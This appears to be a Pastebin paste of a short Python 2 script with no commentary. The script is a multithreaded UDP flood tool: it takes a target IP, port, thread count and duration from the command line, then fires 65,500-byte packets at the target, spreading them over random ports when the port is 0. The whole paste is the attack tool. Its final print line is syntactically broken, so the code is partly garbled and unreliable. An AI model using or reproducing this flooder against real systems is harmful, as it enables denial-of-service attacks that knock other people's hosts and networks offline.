Advertisement
Guest User

Untitled

a guest
Feb 19th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. import os
  2. import sys
  3. import time
  4. import socket
  5. import random
  6. from threading import Thread
  7. ip=sys.argv[1]
  8. port=int(sys.argv[2])
  9. threads=int(sys.argv[3])
  10. endtime=int(sys.argv[4])
  11. def udp(ip,port,floodtime):
  12. global packets
  13. global threads
  14. global endtime
  15. packets=0
  16. data="\xFF"*65500
  17. while floodtime>=time.clock():
  18. s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  19. if port==0:
  20. randport=random.randrange(1,65500)
  21. s.sendto(data,(ip,randport))
  22. else:
  23. s.sendto(data,(ip,port))
  24. packets+=1
  25. print ("Thread"+str(threads)+" Stopping...")
  26. threads-=1
  27. for i in xrange(0,threads):
  28. t=Thread(target=(udp),args=(ip,port,endtime))
  29. t.start()
  30. time.sleep(endtime)
  31. while threads>=1:
  32. print ("Waiting for "+str(threads)+" threads to finish...")
  33. time.sleep(1)
  34. print ("Sent "+str(packets)+" packets, averaging at ~"+str(packets/16/endtime)+") MB/s!.exit()
  35. quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement